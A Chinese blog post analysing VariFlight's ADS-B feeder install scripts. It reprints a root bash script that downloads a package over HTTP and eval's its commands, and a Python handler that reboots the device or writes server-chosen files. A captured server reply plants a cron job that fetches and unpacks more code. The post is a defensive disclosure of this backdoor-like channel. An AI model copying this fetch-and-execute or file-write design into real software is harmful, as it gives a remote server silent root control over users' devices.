飞常准 ads-b 脚本分析

最近玩 SDR,看到 ads-b 比较有意思,可以使用树莓派追踪附近飞机的实时位置,还有一些平台可以共享数据,看到更多的飞机。不过由于国内的相关规定,向境外平台分享数据是违法的,所以准本研究研究咱们自己的平台 – 飞常准。

飞常准 ads-b 平台的链接是 https://flightadsb.variflight.com/,页面整体来说跟国外知名的数据分享平台大同小异,不做过多介绍。不过在尝试接入该平台的时候,发现了一些有意思的东西,在此记录一下。

为避免飞常准修改相关页面,将当前官方页面截图记录:

可以看到,文档本身就是修改了一下树莓派的源,然后克隆了一个 github 仓库,运行了安装脚本。接下来我们看看这个仓库的脚本都有什么。该仓库已妥善备份。

https://github.com/davy12315/adsb

安装脚本分析

首先看 setup.sh,没有什么特殊的,就是处理了一下 Windows 和 Linux 的换行差异,处理了一下文件权限,然后新增了两个 cron 任务。之后执行了 get_message 下的初始化脚本,初始化数据推送。那么我们再来看看这个脚本。

到这开始不简单了,下面先贴上脚本内容:

#!/bin/bash

path='/root/get_message/'
DATE=`date -d "today" +"%Y-%m-%d_%H:%M:%S"`
result=""
UUID=""
execom=""
FromServer=""
SourceMD5=""
device=""

if ps -ef |grep dump1090 |grep -v grep >/dev/null
then
        device="adsb"
elif ps -ef |grep acarsdec |grep -v grep >/dev/null
then
        device="acars"
else
        device="unknow"
fi

IpAddr=`/sbin/ifconfig |grep "addr:" |grep -v 127.0.0.1 |cut -d ':' -f2 |cut -d ' ' -f1`

if [ -f "/root/get_message/UUID" ]
then
        UUID=`cat /root/get_message/UUID`
fi

execut(){
        while read command
        do
                eval $command
                if [  $? -ne 0 ]
                then
                        execom=$command
                        result=0
                        break
                fi
                result=1
        done <$path/package/exe.txt
}

removefile(){
        rm -rf $path/package
        rm -f $path/*tar.gz*
}

main(){
	ps -eaf | grep "pic.veryzhun.com/ADSB/update/newpackage.tar.gz" | grep -v grep
	if [ $? -eq 1 ]
	then
		/usr/bin/wget -P $path -c -t 1 -T 2 pic.veryzhun.com/ADSB/update/newpackage.tar.gz
        	if [ -f "$path/newpackage.tar.gz" ]
        	then
                	dmd5=`md5sum $path/newpackage.tar.gz|cut -d ' ' -f1`
                	if [ "$SourceMD5" = "$dmd5" ]
                	then
                        	/bin/tar -xzf $path/newpackage.tar.gz -C $path
                        	echo $SourceMD5 > $path/md5.txt
                        	/bin/touch /usr/src/start.pid
                        	echo $DATE > /usr/src/start.pid
                        	execut
                        	if [ $result -eq 1 ]
                        	then
                                	curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom=$execom -d message="success" http://receive.cdn35.com/ADSB/result.php
                        	else
                                	curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom=$execom -d message="fail" http://receive.cdn35.com/ADSB/result.php
                        	fi
                        	removefile
                	else
                        	curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="post file has been changed" http://receive.cdn35.com/ADSB/result.php
                        	removefile
                	fi
        	else
                	curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="download failed" http://receive.cdn35.com/ADSB/result.php
                	removefile
        	fi
	fi
}

if curl -m 2 -s pic.veryzhun.com/ADSB/update.php >/dev/null;then
	removefile
        FromServer=`curl -m 2 -s -d UUID="$UUID" -d IpAddr="$IpAddr" -d Device="$device" pic.veryzhun.com/ADSB/update.php`
        SourceMD5=`echo $FromServer|cut -d ' ' -f1`
	length=`echo $SourceMD5 |wc -L`
        if [ $length -ne 32 ]
        then
                curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="md5 style error" http://receive.cdn35.com/ADSB/result.php
		exit
        fi
else
        curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="curl failed" http://receive.cdn35.com/ADSB/result.php
        exit
fi

DesMD5=`cat $path/md5.txt`
if [ "$SourceMD5" = "$DesMD5" ]
then
        curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="no update,md5 without change " http://receive.cdn35.com/ADSB/result.php
        exit
else
        main
fi

这里首先我们能看到一个 execut 函数,这个函数读取了 package/exe.txt 文件,并将文件中的每一行当作一个命令去执行。那么我们再找找看,这个文件是哪来的呢?在仓库里并没有看到,那么应该是从下载的文件里获取的了。我们把这个文件下载下来看下内容:

pic.veryzhun.com/ADSB/update/newpackage.tar.gz

文件 md5 bec9868f5da5d3dc3359b3d0e9ecf33d

解压之后可以看到三个文件,init.sh one.sh 和 exe.txt

其中 exe.txt 很简单,内容就是执行 one.sh

/root/get_message/package/one.sh

再看 one.sh,虽然很复杂,但是目前来看是没有问题的,也只启用了一个上报当前时间的功能,pass。

到这里,说说现阶段的问题。在这个 setup 脚本中,先是从一个未加密的网站下载了一个打包的脚本,然后根据下载回来的内容动态执行脚本,并且是 root 权限,想想就很可怕。如果这个通道被人利用,那么可以让用户毫无察觉的被植入恶意软件

有些朋友可能会说,下面不是有做 md5 校验么?但是请注意,所有跟服务器的交互全都是基于 HTTP,无任何加密,篡改服务端返回不要太容易。

上报脚本分析

分析完了安装脚本,再来看看上报脚本。上报使用的主要是 send_message.py 和 get_ip.py。其中前者比较正常,问题不大。我们来重点看看后者。

import socket
import fcntl
import struct
import urllib2
import urllib
import sys,os
import ConfigParser
import hashlib
import json
import uuid

config = ConfigParser.ConfigParser()
config.readfp(open(sys.path[0]+'/config.ini',"rb"))

uuid_file=sys.path[0]+'/UUID'

if os.path.exists(uuid_file) :
	file_object = open(uuid_file)
	mid = file_object.read()
	file_object.close()
else :
	mid = uuid.uuid1().get_hex()[16:]
	file_object = open(uuid_file , 'w')
	file_object.write( mid )
	file_object.close()

def send_message(source_data):
	source_data=source_data.replace('\n','$$$')
	f=urllib2.urlopen(
			url = config.get("global","ipurl"),
			data =  source_data,
			timeout = 60
			)
	tmp_return=f.read()

	request_json=json.loads(tmp_return)
	request_md5=request_json['md5']
	del request_json['md5']
	
	
	tmp_hash=''
	for i in request_json:
		if tmp_hash=='' :
			tmp_hash=tmp_hash+request_json[i]
		else :
			tmp_hash=tmp_hash+','+request_json[i]
		
	md5=hashlib.md5(tmp_hash.encode('utf-8')).hexdigest()
	
	if (md5 == request_md5):
		operate(request_json)
	else :
		print 'MD5 ERR'

	print "return: "+tmp_return;

def get_ip_address(ifname):
    skt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    pktString = fcntl.ioctl(skt.fileno(), 0x8915, struct.pack('256s', ifname[:15]))
    ipString  = socket.inet_ntoa(pktString[20:24])
    return ipString
    
def operate(request_json):
	if request_json['type'] == 'reboot' :
		os.system('/sbin/reboot')
	elif request_json['type'] == 'code' :
		fileHandle = open ( urllib.unquote( request_json['path'] ) , 'w' )
		fileHandle.write( urllib.unquote( request_json['content'] ) )
		fileHandle.close()
	else :
		print 'OK'
	


eth=get_ip_address('eth0')

send_message(mid+'|'+eth+'|')

首先我们看到的是获取当前设备的 UUID,没啥问题。紧接着是一个发送消息的函数,好像也没啥问题。然后有一个获取 IP 的函数,也没啥问题。诶,下面这个函数(63-71)是干什么的?有点意思啊?我们来重点看下。

首先这个函数有个字典入参,如果 type 为 reboot 就调用 /sbin/reboot。我去?这是要重启我的机器?再来往下看,如果 type 为 code,就把 content 写入到 path 里。我*,这是要在我的机器上随便写文件?搞什么?这个字典是哪来的?

往上翻,找到调用处,一路向上,发现这个数组就是上报 IP 时的服务端返回!这是什么意思?服务端还有完全控制我的设备的能力?!赶紧把实际执行去掉,改成 print 看看服务端会下发什么东西:

{
  "content": "* * * * * root /usr/bin/rm -f /etc/get_message/test.tar.gz;/usr/bin/wget -P /root/get_message/ -c -t 1 -T 2 pic.veryzhun.com/ADSB/update/test.tar.gz;/bin/tar -xzf /root/get_message/test.tar.gz -C /root/get_message/;/bin/mv /root/get_message/startupdate /etc/cron.d/;/bin/rm -f /etc/cron.d/onecroncommand\n",
  "path": "%2Fetc%2Fcron.d%2Fonecroncommand",
  "type": "code",
  "md5": "5f86a9d7564db4a4acf530d6a75b2c2c"
}

好家伙,不得了啊,服务端要向我的 /etc/cron.d/onecroncommand 写入一个新的定时任务,具体命令是从服务端下载一个文件,解压,然后移动到 /etc/cron.d/。不过我在测试的时候,该文件暂不存在,无法继续深入。至于 /etc/cron.d/ 这个目录的作用,稍微了解一些 Linux 的朋友应该都知道,就不再赘述。

顺便一说,这里的上报 IP 的通道,还是 HTTP 的。无加密。

到这里,想必也不需要再多说了,我们来总结一下该初始化脚本的完整功能:

  • 执行时,从服务端下载一打包后的脚本,并执行
  • 添加定时任务,定时上报 IP 信息
  • 上报 IP 信息的时候,根据服务器的响应,执行文件写入或重启操作
  • 服务器会下发任务,让客户端下载一文件包,并解压执行
  • 所有脚本在 root 下运行

如果你忘掉这是一个 ads-b 上报程序的初始化脚本,你觉得我在描述什么呢?

CC BY-NC-SA 4.0 飞常准 ads-b 脚本分析 by 桔子小窝 is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据